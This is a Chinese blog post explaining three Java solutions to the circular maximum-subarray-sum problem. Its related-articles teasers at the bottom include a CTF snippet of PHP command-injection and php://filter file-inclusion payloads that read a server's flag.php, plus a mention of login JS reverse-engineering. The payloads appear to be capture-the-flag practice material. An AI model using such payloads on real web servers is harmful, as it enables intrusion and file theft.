最大子数组和[中等]

news2024/11/15 9:13:20

一、题目

给定一个长度为n的环形整数数组nums,返回nums的非空 子数组 的最大可能和 。

环形数组 意味着数组的末端将会与开头相连呈环状。形式上,nums[i]的下一个元素是nums[(i + 1) % n]nums[i]的前一个元素是nums[(i - 1 + n) % n]

子数组 最多只能包含固定缓冲区nums中的每个元素一次。形式上,对于子数组nums[i], nums[i + 1], ..., nums[j],不存在i <= k1, k2 <= j其中k1 % n == k2 % n

示例 1:
输入:nums = [1,-2,3,-2]
输出:3
解释:从子数组[3]得到最大和3

示例 2:
输入:nums = [5,-3,5]
输出:10
解释:从子数组[5,5]得到最大和5 + 5 = 10

示例 3:
输入:nums = [3,-2,2,-3]
输出:3
解释:从子数组[3][3,-2,2]都可以得到最大和3

n == nums.length
1 <= n <= 3 * 104
-3 * 104 <= nums[i] <= 3 * 104​​​​​​​

二、代码

【1】动态规划: 求解普通数组的最大子数组和是求解环形数组的最大子数组和问题的子集。设数组长度为n,下标从0开始,在环形情况中,答案可能包括以下两种情况:
1、构成最大子数组和的子数组为nums[i:j],包括nums[i]nums[j−1]j−i个元素,其中0≤i<j≤n
2、构成最大子数组和的子数组为nums[0:i]nums[j:n],其中0<i<j<n

第二种情况中,答案可以分为两部分,nums[0:i]为数组的某一前缀,nums[j:n]为数组的某一后缀。求解时,我们可以枚举j,固定sum(nums[j:n])的值,然后找到右端点坐标范围在[0,j−1]的最大前缀和,将它们相加更新答案。

右端点坐标范围在[0,i]的最大前缀和可以用leftMax[i]表示,递推方程为:leftMax[i]=max⁡(leftMax[i−1],sum(nums[0:i+1])

至此,我们可以使用以上方法求解出环形数组的最大子数组和。特别需要注意的是,本题要求子数组不能为空,我们需要在代码中做出相应的调整。

class Solution {
    public int maxSubarraySumCircular(int[] nums) {
        int n = nums.length;
        int[] leftMax = new int[n];
        // 对坐标为 0 处的元素单独处理,避免考虑子数组为空的情况
        leftMax[0] = nums[0];
        int leftSum = nums[0];
        int pre = nums[0];
        int res = nums[0];
        for (int i = 1; i < n; i++) {
            pre = Math.max(pre + nums[i], nums[i]);
            res = Math.max(res, pre);
            leftSum += nums[i];
            leftMax[i] = Math.max(leftMax[i - 1], leftSum);
        }

        // 从右到左枚举后缀,固定后缀,选择最大前缀
        int rightSum = 0;
        for (int i = n - 1; i > 0; i--) {
            rightSum += nums[i];
            res = Math.max(res, rightSum + leftMax[i - 1]);
        }
        return res;
    }
}

时间复杂度: O(n),其中nnums的长度。求解第一种情况的时间复杂度为O(n),求解leftMax数组和枚举后缀的时间复杂度为O(n),因此总的时间复杂度为O(n)
空间复杂度: O(n),其中nnums的长度。过程中我们使用leftMax来存放最大前缀和。

【2】取反: 对于第二种情况,即环形数组的最大子数组和为nums[0:i]nums[j:n],我们可以找到普通数组最小的子数组nums[i:j]即可。而求解普通数组最小子数组和的方法与求解最大子数组和的方法完全相同。

maxRes是普通数组的最大子数组和,minRes是普通数组的最小子数组和,我们可以将maxRes∑i=0nnums[i]−minRes取最大作为答案。

需要注意的是,如果maxRes<0,数组中不包含大于等于0的元素,minRes将包括数组中的所有元素,导致我们实际取到的子数组为空。在这种情况下,我们只能取maxRes作为答案。

class Solution {
    public int maxSubarraySumCircular(int[] nums) {
        int n = nums.length;
        int preMax = nums[0], maxRes = nums[0];
        int preMin = nums[0], minRes = nums[0];
        int sum = nums[0];
        for (int i = 1; i < n; i++) {
            preMax = Math.max(preMax + nums[i], nums[i]);
            maxRes = Math.max(maxRes, preMax);
            preMin = Math.min(preMin + nums[i], nums[i]);
            minRes = Math.min(minRes, preMin);
            sum += nums[i];
        }
        if (maxRes < 0) {
            return maxRes;
        } else {
            return Math.max(maxRes, sum - minRes);
        }
    }
}

时间复杂度: O(n),其中nnums的长度。
空间复杂度: O(1)。过程中只是用到了常数个变量。

【3】单调队列: 我们可以将数组延长一倍,即对于i≥n的元素,令nums[i]=nums[i−n]

然后,对于第二种情况,nums[0:i]nums[j:n]可以组成成连续的一段:

因此,问题转换为了在一个长度为2n的数组上,寻找长度不超过n的最大子数组和。

我们令si=∑i=0inums[i]为前缀和,如果不规定子数组的长度,只需找到最大的si−sj​,其中j<i

现在,我们只能考虑所有满足i−n≤j<ij,用单调队列维护该集合。具体的:
1、遍历到i时,单调队列头部元素下标若小于i−n,则出队。该过程一直进行,直至队列为空或者队头下标大于等于i−n
2、取队头元素作为j,计算si−sj​,并更新答案。
3、若队列尾部元素k满足sk≥si​,则出队,该过程一直进行,直至队列为空或者条件不被满足。因为k<ik更容易被步骤1剔出,并且作为被减项,sksi更大,更不具有优势。综上si要全面优于sk​。

class Solution {
    public int maxSubarraySumCircular(int[] nums) {
        int n = nums.length;
        Deque<int[]> queue = new ArrayDeque<int[]>();
        int pre = nums[0], res = nums[0];
        queue.offerLast(new int[]{0, pre});
        for (int i = 1; i < 2 * n; i++) {
            while (!queue.isEmpty() && queue.peekFirst()[0] < i - n) {
                queue.pollFirst();
            }
            pre += nums[i % n];
            res = Math.max(res, pre - queue.peekFirst()[1]);
            while (!queue.isEmpty() && queue.peekLast()[1] >= pre) {
                queue.pollLast();
            }
            queue.offerLast(new int[]{i, pre});
        }
        return res;
    }
}

时间复杂度: O(n),其中nnums的长度。我们遍历2n个元素,每个元素最多入队出队一次,因此总的时间复杂度为O(n)
空间复杂度: O(n),其中nnums的长度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1439138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C 语言学习七:指针

指针 指针与地址指针的声明和初始化指针的解引用指针的比较指针和数组指针数组指针和动态内存分配 指针与函数参数指针作为函数参数二级指针 指向函数的指针 指针与地址 指针的声明和初始化 int variable 42; int *ptr &variable; //间接访问 int value *ptr; // valu…

CTFshow web(命令执行29-36)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…

2024/2/7总结

Node.js 什么是node.js node.js是一个基于chrome v8 引擎的 JavaScript 运行环境。 浏览器是JavaScript的前端运行环境node.js是JavaScript的后端运行环境 node.js中无法调用DOM和BOM等浏览器内置API fs模块 是node.js官方提供的、用来操作文件的模块&#xff0c;它提供了一系…

后端创建订单

package com.java1234.entity;import io.jsonwebtoken.Claims;/*** jwt验证信息* author java1234_小锋* site www.java1234.com* company Java知识分享网* create 2019-08-13 上午 10:00*/ public class CheckResult {private int errCode;private boolean success;private Cl…

登录+JS逆向进阶【过咪咕登录】(附带源码)

JS渗透之咪咕登录 每篇前言&#xff1a;咪咕登录参数对比 captcha参数enpassword参数搜索enpassword参数搜索J_RsaPsd参数setPublic函数encrypt加密函数运行时可能会遇到的问题此部分改写的最终形态JS代码&#xff1a;运行结果python编写脚本运行此JS代码&#xff1a;运行结果&…

Powershell Install 一键部署Openssl+certificate证书创建

前言 Openssl 是一个方便的实用程序,用于创建自签名证书。您可以在所有操作系统(如 Windows、MAC 和 Linux 版本)上使用 OpenSSL。 Windows openssl 下载 前提条件 开启wmi,配置网卡,参考 自签名证书 创建我们自己的根 CA 证书和 CA 私钥(我们自己充当 CA)创建服务器…

2024.2.6

1.现有无序序列数组为23,24,12,5,33,5347&#xff0c;请使用以下排序实现编程 函数1:请使用冒泡排序实现升序排序 函数2:请使用简单选择排序实现升序排序 函数3:请使用快速排序实现升序排序 函数4:请使用插入排序实现升序排序 #include<stdio.h> #include<string.h&g…

详述FlinkSql Join操作

FlinkSql 的 Join Flink 官网将其分为了 Joins 和 Window Joins两个大类&#xff0c;其中里面又分了很多 Join 方式 参考文档&#xff1a; Joins | Apache Flink Window JOIN | Apache Flink Joins 官网介绍共有6种方式&#xff1a; Regular Join&#xff1a;流与流的 Joi…

postman执行批量测试

1.背景 有许多的人常常需要使用第三方系统进行重复的数据查询&#xff0c;本文介绍使用PostMan的方式对数据进行批量的查询&#xff0c;减少重复的劳动。 2.工具下载 3.初入门 一、如图示进行点击&#xff0c;创建collection 二、输入对应的名称 三、创建Request并进行查…

Leetcode3020. 子集中元素的最大数量

Every day a Leetcode 题目来源&#xff1a;3020. 子集中元素的最大数量 解法1&#xff1a;哈希 枚举 用一个哈希表统计数组 nums 中的元素及其出现次数。 暴力枚举数组中的数&#xff0c;作为 x&#xff0c;然后不断看 x2,x4,⋯ 在数组中的个数。直到个数不足 2 个为止&a…

ChatGPT高效提问—prompt常见用法(续篇三)

ChatGPT高效提问—prompt常见用法&#xff08;续篇三&#xff09; 1.1 多选项 ​ 多选项技术为模型提供了一个清晰的问题或任务&#xff0c;并附带一组预先定义的潜在答案。这种方法在生成仅限于特定选项集的文本方面表现出色&#xff0c;适用于问答、文本补全和其他任务。利…

win10系统连接WiFi,输入正确密码,但还是提示错误

情况 电信宽带 mac和小米手机都可以连上wifi dell上的windows输入正确的密码还是提示错误 解决办法 根据路由器上的终端配置进入网页进行配置&#xff0c;我的是192.168.1.1&#xff0c;账户:useradmin 修改无线网络设置中的加密方式&#xff0c;由Mixed WPA2/WPA-PSK改为W…

【社交电商】带直播电商功能,可以DIY前端,可以H5和小程序一般商城常用功能齐全

第一次接触这个系统&#xff0c;感觉和微擎有点像。也是一个主体&#xff0c;也很多插件的那种。 测试了下。安装成功了&#xff0c;站长亲测没有问题&#xff0c;一切都挺完善的&#xff0c;不过系统比较庞大&#xff0c;可能新手熟悉起来要一定的过程。 站长整理了一份简要…

WordPress突然后台无法管理问题

登录WordPress后台管理评论&#xff0c;发现点击编辑、回复均无反应。 尝试清除缓存、关闭CF连接均无效。 查看插件时发现关闭wp-china-yes插件可以解决问题。 后来又测试了下发现加速管理后台这项&#xff0c;在启用时会发生点击无效问题&#xff0c;禁用就好了&#xff0c;不…

Airtest实现在手机界面快速批量采集数据

Airtest实现在手机界面快速批量采集数据 一、问题 Airtest使用的poco方法比较慢,寻找差不多一周,看完这篇文章能节省一周时间,希望帮到大家。二、解决思路 使用Airtest图像识别,这样就会速度上提升效率。 三、解决办法 使用页面规律,要找到每条数据的附近规律(一般是图…

简单说网络:TCP+UDP

TCP和UPD: (1)都工作在传输层 (2)目的都是在程序之中传输数据 (3)数据可以是文本、视频或者图片(对TCP和UDP来说都是一堆二进制数没有太大区别) 一、区别:一个基于连接一个基于非连接 将人与人之间的通信比喻为进程和进程之前的通信:基本上有两种方式(1)写信;(2)打电话;这…

【数据结构】链表OJ面试题2《分割小于x并排序链表、回文结构、相交链表》+解析

1.前言 前五题在这http://t.csdnimg.cn/UeggB 休息一天&#xff0c;今天继续刷题&#xff01; 2.OJ题目训练 1. 编写代码&#xff0c;以给定值x为基准将链表分割成两部分&#xff0c;所有小于x的结点排在大于或等于x的结点之前 。链表分割_牛客题霸_牛客网 思路 既然涉及…

naiveui 上传图片遇到的坑 Upload

我在开发图片上传功能, 需要手动触发上传 但是我调用它内部自定义submit方法, 结果接口一直在报错400 我反反复复的测试了好就, 确定了就是我前端的问题,因为之前一直在做后端的错误排查, 以为是编译问题(因为之前也出现过这个问题) 好 , 我把其中一个参数类型改为String类型, …

NC6X单点登录设计文档说明

前言 因为业务场景需要&#xff0c;第三方系统有些工作需要经常到NC系统里做&#xff0c;如果每次去NC系统做业务单据&#xff0c;都需要反复登录&#xff0c;导致客户使用体验不是很好&#xff0c;所以需要开发实现从第三方系统单点登录到NC系统&#xff0c;提高客户满意度。 …

电力负荷预测 | 基于GRU门控循环单元的深度学习电力负荷预测,含预测未来(Python)

文章目录 效果一览文章概述源码设计参考资料效果一览 文章概述 电力负荷预测 | 基于GRU门控循环单元的深度学习电力负荷预测,含预测未来(Python&